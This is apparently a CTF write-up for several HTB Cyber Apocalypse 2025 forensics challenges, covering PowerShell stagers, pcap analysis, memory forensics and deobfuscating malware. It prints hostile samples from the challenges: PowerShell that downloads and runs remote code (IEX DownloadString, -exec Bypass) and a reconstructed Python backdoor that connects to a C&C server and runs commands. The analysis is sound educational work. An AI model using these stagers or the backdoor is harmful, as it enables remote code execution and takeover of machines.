# HTB Cyber Apocalypse CTF 2025: Tales from Eldoria ## Thorin’s Amulet - Very Easy ![image](https://hackmd.io/_uploads/HkylmqsnJl.png) This challenge give me a .ps1 file with the following content <details> <summary>Powershell</summary> ``` powershell function qt4PO { if ($env:COMPUTERNAME -ne "WORKSTATION-DM-0043") { exit } powershell.exe -NoProfile -NonInteractive -EncodedCommand "SUVYIChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCJodHRwOi8va29ycC5odGIvdXBkYXRlIik=" } qt4PO # IEX (New-Object Net.WebClient).DownloadString("http://korp.htb/update") ``` </details> The comment at the end is the string I decoded from the Base64 string in the code above. I got stuck here for quite a while because some network issues prevented me from opening the docker to replace the link above to get next payload. Although I joined this ctf quite early <details> <summary>Powershell</summary> ```powershell function aqFVaq { Invoke-WebRequest -Uri "http://korp.htb/a541a" -Headers @{"X-ST4G3R-KEY"="5337d322906ff18afedc1edc191d325d"} -Method GET -OutFile a541a.ps1 powershell.exe -exec Bypass -File "a541a.ps1" } aqFVaq ``` </details> Let write a simple script by Python to make a same request for get this file (or just delete exec line 🤡) <details> <summary>Python</summary> ```python import requests def make_request(options): url = f"http://{options['hostname']}{options['path']}" response = requests.request( method=options['method'], url=url, headers=options.get('headers', {}), data=options.get('body', None) ) return { 'statusCode': response.status_code, 'headers': dict(response.headers), 'body': response.text } # Example usage def main(): try: response = make_request({ 'hostname': '83.136.250.101:50730', 'path': '/a541a', 'method': 'GET', 'headers': { 'X-ST4G3R-KEY': '5337d322906ff18afedc1edc191d325d' } }) print('Body:', response['body']) except Exception as error: print('Error:', str(error)) if __name__ == "__main__": main() ``` </details> Alright we have a next payload here. At first glance we see that we just need to change the exec function to echo and powershell will do the rest for us. ``` powershell $a35 = "4854427b37683052314e5f4834355f346c573459355f3833336e5f344e5f39723334375f314e56336e3730727d" echo (($a35-split"(..)"|?{$_}|%{[char][convert]::ToInt16($_,16)}) -join "") ``` ![image](https://hackmd.io/_uploads/H1Hg49inkg.png) Fact: In the midnight, when I was so helpless with ISP, my brother still sent me pictures of his wife and advised me to skip school to do ctf 💀 ## Slient Trap - Easy ![image](https://hackmd.io/_uploads/BJn0ik3nJl.png) We have a pcap file, use WireShark to analyse it or you can open YouTube, it can't help you solve this challenge but watching video is ok ![image](https://hackmd.io/_uploads/H1EGny3nyl.png) **Q1: What is the subject of the first email that the victim opened and replied to?** ![image](https://hackmd.io/_uploads/rySnzaRhyg.png) **Q2: On what date and time was the suspicious email sent? (Format: YYYY-MM-DD_HH:MM) (for example: 1945-04-30_12:34)** ![image](https://hackmd.io/_uploads/r1K_BFk61g.png) ![image](https://hackmd.io/_uploads/B1PhSKk6Jx.png) ![image](https://hackmd.io/_uploads/B1qeIFypke.png) ![image](https://hackmd.io/_uploads/B1ccQK1p1g.png) **Q4: What credentials were used to log into the attacker's mailbox? (Format: username:password)** ![image](https://hackmd.io/_uploads/B1z0aJyTJe.png) Just dump when you see a lot of http packet 🫣 ![image](https://hackmd.io/_uploads/Hk5takn31l.png) Locked archive? John? Nah, you can run but maybe by the time rockyou2077 exists it will probably work. Look around these packet you will see password ![image](https://hackmd.io/_uploads/HknyRkh3Jl.png) ![image](https://hackmd.io/_uploads/Bkl5jJnhJg.png) **Q3: What is the MD5 hash of the malware file?** ![image](https://hackmd.io/_uploads/rkpMMxhnkl.png) ![image](https://hackmd.io/_uploads/BJqzCJn3kg.png) After going through all the functions, I noticed the following 3 sus functions ![image](https://hackmd.io/_uploads/r1As0kn21g.png) At the xor function, we found the key ![image](https://hackmd.io/_uploads/BkQJ1e221x.png) At the Encrypt function, this performs RC4 encryption. ![image](https://hackmd.io/_uploads/rk8M1e2nJg.png) Based on what we found, the program performed Base64 and RC4 encoding before sending something. Below is the script to decode the packets sent that Wireshark captured. ``` python import base64 from Crypto.Cipher import ARC4 key = bytes([ 168, 115, 174, 213, 168, 222, 72, 36, 91, 209, 242, 128, 69, 99, 195, 164, 238, 182, 67, 92, 7, 121, 164, 86, 121, 10, 93, 4, 140, 111, 248, 44, 30, 94, 48, 54, 45, 100, 184, 54, 28, 82, 201, 188, 203, 150, 123, 163, 229, 138, 177, 51, 164, 232, 86, 154, 179, 143, 144, 22, 134, 12, 40, 243, 55, 2, 73, 103, 99, 243, 236, 119, 9, 120, 247, 25, 132, 137, 67, 66, 111, 240, 108, 86, 85, 63, 44, 49, 241, 6, 3, 170, 131, 150, 53, 49, 126, 72, 60, 36, 144, 248, 55, 10, 241, 208, 163, 217, 49, 154, 206, 227, 25, 99, 18, 144, 134, 169, 237, 100, 117, 22, 11, 150, 157, 230, 173, 38, 72, 99, 129, 30, 220, 112, 226, 56, 16, 114, 133, 22, 96, 1, 90, 72, 162, 38, 143, 186, 35, 142, 128, 234, 196, 239, 134, 178, 205, 229, 121, 225, 246, 232, 205, 236, 254, 152, 145, 98, 126, 29, 217, 74, 177, 142, 19, 190, 182, 151, 233, 157, 76, 74, 104, 155, 79, 115, 5, 18, 204, 65, 254, 204, 118, 71, 92, 33, 58, 112, 206, 151, 103, 179, 24, 164, 219, 98, 81, 6, 241, 100, 228, 190, 96, 140, 128, 1, 161, 246, 236, 25, 62, 100, 87, 145, 185, 45, 61, 143, 52, 8, 227, 32, 233, 37, 183, 101, 89, 24, 125, 203, 227, 9, 146, 156, 208, 206, 194, 134, 194, 23, 233, 100, 38, 158, 58, 159 ]) def decrypt_base64_rc4(encoded_str, key): decoded_data = base64.b64decode(encoded_str) cipher = ARC4.new(key) decrypted_data = cipher.decrypt(decoded_data) return decrypted_data encoded_str = "VGiPTdHXQGP876EbMX2FJhm3ZazpvA8aO8jT1uC8xPhDZq/Np5oZQnHUpKxc36FHBznusaFRsSPtnJzlC4qyGNxcWMCIs1qdVzygFbDj0se4vntsvpU9rKvQPLcPERIjLB36+ws5PVmzVsnuxNmgUPegSj+VPrRfrcHkaE0VL2hOwFIfT8iFNsaVDmnmTwc4DwNxqVqvTfOSr5YCFzLYZhlGMKbBYwhRks/IUuS31pSyoY02zA2T/8MtRORCihusuiBB6lfwkOSDyvxAAS2eTNoqirpJX4oJpFo3HRzFiGt7Tf/hYDvgs4HhXNNUHiBTgR/ckAwJHX0PoBDbTYvxQCtWNytjzQFjF8ir6ihZqFEEUibY3Enkx73tO7zgG5MDXHNRxF6dk7NdM6hcR3RNywIGvr09k/HumgOhs6MgvrHuNauqVWR5t0N52Pf21A6gTNGVtkRfBdnH/vMwOY7egIIxRNR7BlDnaeBlOfmE4aPu5C7BjLhQkwQUcC2mtMa0Sy7vtm+oqIn5po/BFqKsfdreOrYrX3XZ+98F1KC+RVKLPH9pBKd0kH9jHbAMY19YPKl5dok4ls491gXmpv+tb9aPq6PAPkHtAj0ftml7fg==" decrypted_data = decrypt_base64_rc4(encoded_str, key) print(decrypted_data) ``` **Q5: What is the name of the task scheduled by the attacker?** ![image](https://hackmd.io/_uploads/HyHksyyaye.png) **Q6: What is the API key leaked from the highly valuable file discovered by the attacker?** ![image](https://hackmd.io/_uploads/r1Nbxgnh1l.png) W bquaman ![image](https://hackmd.io/_uploads/rk28_Fkayl.png) # After-contest ## Stealth Invasion - Easy ![image](https://hackmd.io/_uploads/H15f7ylTJl.png) **Q1: What is the PID of the Original (First) Google Chrome process** ``` ps vol.py -f '/home/kali/Desktop/memdump.elf' windows.pslist ``` ![image](https://hackmd.io/_uploads/B1W2ks9Yee.png) **Q2: What is the only Folder on the Desktop** ``` ps vol.py -f '/home/kali/Desktop/memdump.elf' windows.filescan | grep "Desktop" ``` ![image](https://hackmd.io/_uploads/HknQ-sqYxg.png) **Q3: What is the Extention's ID (ex: hlkenndednhfkekhgcdicdfddnkalmdm)** ``` ps vol.py -f '/home/kali/Desktop/memdump.elf' windows.filescan | rg -Fi "\\Default\\Local Extension Settings\\" ``` ![image](https://hackmd.io/_uploads/rJemJci5tlx.png) **Q4: After examining the malicious extention's code, what is the log filename in which the data is stored** ![image](https://hackmd.io/_uploads/B1AunscKxx.png) **Q5: What is the URL the user navigated to** ![image](https://hackmd.io/_uploads/BJMlTj5tgg.png) **Q6: What is the password of selene@rangers.eldoria.com** ![image](https://hackmd.io/_uploads/rkTpaj9Flx.png) ## Cave Expedition - Medium ![image](https://hackmd.io/_uploads/rJS0Gkxa1e.png) ![image](https://hackmd.io/_uploads/r1JDOm3Yeg.png) ![image](https://hackmd.io/_uploads/H1LXd7ntxx.png) ![image](https://hackmd.io/_uploads/SJ2YYXnYxl.png) ![image](https://hackmd.io/_uploads/HJk5EUnKxg.png) ![image](https://hackmd.io/_uploads/SyRSE83Kxx.png) ![image](https://hackmd.io/_uploads/r1Sv4UnKxl.png) ## ToolPie - Medium ![image](https://hackmd.io/_uploads/rJrE7kxTyg.png) **Q1: What is the IP address responsible for compromising the website?** ![image](https://hackmd.io/_uploads/HyxQBx0Fgl.png) **Q2: What is the name of the endpoint exploited by the attacker?** ![image](https://hackmd.io/_uploads/S1aCSl0tlx.png) **Q3: What is the name of the obfuscation tool used by the attacker** ![image](https://hackmd.io/_uploads/SkgwL2nYgg.png) ```python import bz2 import marshal decompressed_data = bz2.decompress( b'BZh91AY&SY\x8d*w\x00\x00\n\xbb\x7f\xff\xff\xff\xff\xff...' ) code_object = marshal.loads(decompressed_data) print(code_object.co_consts) ``` ![image](https://hackmd.io/_uploads/Hk7_OlRYgx.png) ``` python import bz2 import dis compressed_data = b'''BZh91AY&SY\x8d*w\x00\x00\n\xbb\x7f\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xf...''' code = bz2.decompress(compressed_data) # print(code) open('dis.txt','w').write(dis.dis(code)) ``` ![image](https://hackmd.io/_uploads/HydGDnhKee.png) <details> <summary>Python</summary> ``` python import os import socket import threading from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad def enc_mes(message, key): """Encrypt message using AES""" cipher = AES.new(key, AES.MODE_CBC) iv = cipher.iv encrypted = cipher.encrypt(pad(message.encode(), 16)) return iv + encrypted def dec_file_mes(encrypted_data, key): """Decrypt file message""" iv = encrypted_data[:16] encrypted = encrypted_data[16:] cipher = AES.new(key, AES.MODE_CBC, iv) decrypted = unpad(cipher.decrypt(encrypted), 16) return decrypted def dec_mes(encrypted_data, key): """Decrypt message""" iv = encrypted_data[:16] encrypted = encrypted_data[16:] cipher = AES.new(key, AES.MODE_CBC, iv) decrypted = unpad(cipher.decrypt(encrypted), 16) return decrypted.decode() def receive_file(conn, key): """Receive and decrypt file""" try: # Receive file data file_data = b"" while True: chunk = conn.recv(4096) if b"<SEPARATOR>" in chunk: file_data += chunk.split(b"<SEPARATOR>")[0] break file_data += chunk # Decrypt file decrypted_file = dec_file_mes(file_data, key) return decrypted_file except Exception as e: return None def receive(conn, key): """Main receive function""" try: while True: # Receive command data = conn.recv(4096) if not data: break # Decrypt command command = dec_mes(data, key) if command == "whoami": # Execute whoami command result = os.popen("whoami").read() encrypted_result = enc_mes(result, key) conn.send(encrypted_result) # Handle other commands... except Exception as e: conn.close() def main(): """Main function""" # Server configuration HOST = "13.61.7.218" PORT = 55155 # Connect to C&C server try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((HOST, PORT)) # Generate or receive encryption key key = b"your_16_byte_key" # This would be dynamically generated # Start receiving commands receive_thread = threading.Thread(target=receive, args=(sock, key)) receive_thread.start() except Exception as e: pass if __name__ == "__main__": main() ``` </details> <!-- ## Tales for the Brave - Hard ![image](https://hackmd.io/_uploads/SJ5rQyxakg.png) Resolving... -->